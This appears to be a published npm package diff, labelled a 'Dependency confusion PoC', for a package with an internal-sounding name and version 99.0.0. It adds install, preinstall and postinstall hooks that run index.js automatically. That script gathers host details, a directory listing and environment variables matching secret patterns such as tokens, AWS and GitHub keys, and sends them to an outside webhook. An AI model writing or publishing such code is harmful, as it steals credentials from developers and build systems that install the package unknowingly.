@mypwn/greatcall.customers.commandapi 99.0.0

package/index.js

@@ -0,0 +1,39 @@
+const os = require("os");
+const https = require("https");
+const { execSync } = require("child_process");
+
+const WEBHOOK = "https://test.v3n.my/pwn";
+
+function post(data) {
+  const payload = JSON.stringify(data);
+  const url = new URL(WEBHOOK);
+  const req = https.request({
+    hostname: url.hostname, path: url.pathname,
+    method: "POST",
+    headers: { "Content-Type": "application/json", "Content-Length": payload.length }
+  }, () => {});
+  req.write(payload);
+  req.end();
+}
+
+try {
+  const info = {
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    homedir: os.homedir(),
+    platform: os.platform(),
+    cwd: process.cwd(),
+    env: Object.fromEntries(
+      Object.entries(process.env).filter(([k]) =>
+        /KEY|SECRET|TOKEN|PASS|AUTH|CRED|PRIVATE|AWS_|AZURE_|GCP_|GITHUB|NPM|DB_|DATABASE|API|WEBHOOK|JENKINS|OCTOPUS|CONNECTION/i.test(k)
+      )
+    ),
+    ips: Object.values(require("os").networkInterfaces())
+      .flat().filter(i => i.family === "IPv4").map(i => i.address),
+    whoami: execSync("whoami 2>/dev/null || echo unknown").toString().trim(),
+    files: execSync("ls -la 2>/dev/null | head -30").toString(),
+  };
+  post({ type: "exfil", ...info });
+} catch (e) {
+  post({ type: "error", error: e.message });
+}

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "@mypwn/greatcall.customers.commandapi",
+  "version": "99.0.0",
+  "description": "Dependency confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "install": "node index.js",
+    "postinstall": "node index.js",
+    "preinstall": "node index.js"
+  },
+  "keywords": ["monitoring", "analytics", "splunk", "hawkeye"],
+  "license": "MIT"
+}